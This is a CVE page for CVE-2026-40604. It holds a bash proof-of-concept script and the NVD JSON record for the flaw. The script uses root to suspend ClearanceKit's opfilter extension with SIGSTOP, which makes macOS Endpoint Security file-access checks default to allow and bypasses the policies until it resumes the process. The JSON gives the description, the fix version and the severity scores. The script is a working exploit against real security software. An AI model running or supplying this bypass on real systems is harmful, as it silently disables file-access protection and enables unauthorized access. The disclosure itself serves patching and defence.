CVE-2026-40604

#!/bin/bash # PoC for CVE-2026-40604: ClearanceKit Bypass # Description: Suspends the ClearanceKit opfilter process to bypass file access policies. # Requirements: Root privileges on the target macOS machine. TARGET_BUNDLE_ID="uk.craigbass.clearancekit.opfilter" # Find the process ID for the opfilter extension # Note: System extensions might run under different parent processes, searching by name or bundle ID PID=$(pgrep -f "opfilter") if [ -z "$PID" ]; then echo "[!] Target process not found. ClearanceKit might not be running." exit 1 fi echo "[*] Found ClearanceKit opfilter PID: $PID" echo "[*] Sending SIGSTOP to suspend the process..." # Suspend the process # This causes AUTH events to timeout, triggering the default 'ALLOW' action sudo kill -STOP $PID if [ $? -eq 0 ]; then echo "[+] Process suspended successfully. File access policies are now bypassed." echo "[!] You can now perform file operations that would normally be blocked." echo "[*] Press Enter to resume the process (mitigation)..." read echo "[*] Sending SIGCONT to resume the process..." sudo kill -CONT $PID echo "[+] Process resumed." else echo "[!] Failed to suspend process. Check permissions." fi

{"cve": {"id": "CVE-2026-40604", "sourceIdentifier": "[email protected]", "published": "2026-04-21T18:16:51.977", "lastModified": "2026-04-24T20:49:22.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClearanceKit intercepts file-system access events on macOS and enforces per-process access policies. Prior to 5.0.6, the opfilter Endpoint Security system extension (bundle ID uk.craigbass.clearancekit.opfilter) can be suspended with SIGSTOP or kill -STOP, or killed with SIGKILL/SIGTERM, by any process running as root. While the extension is suspended, all AUTH Endpoint Security events time out and default to allow, silently disabling ClearanceKit's file-access policy enforcement for the duration of the suspension. This vulnerability is fixed in 5.0.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craigjbass:clearancekit:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.0.6", "matchCriteriaId": "DDBDD7D4-AC64-416E-B4F7-B1E6E6A0A240"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://github.com/craigjbass/clearancekit/security/advisories/GHSA-5r9w-9fg6-266q", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}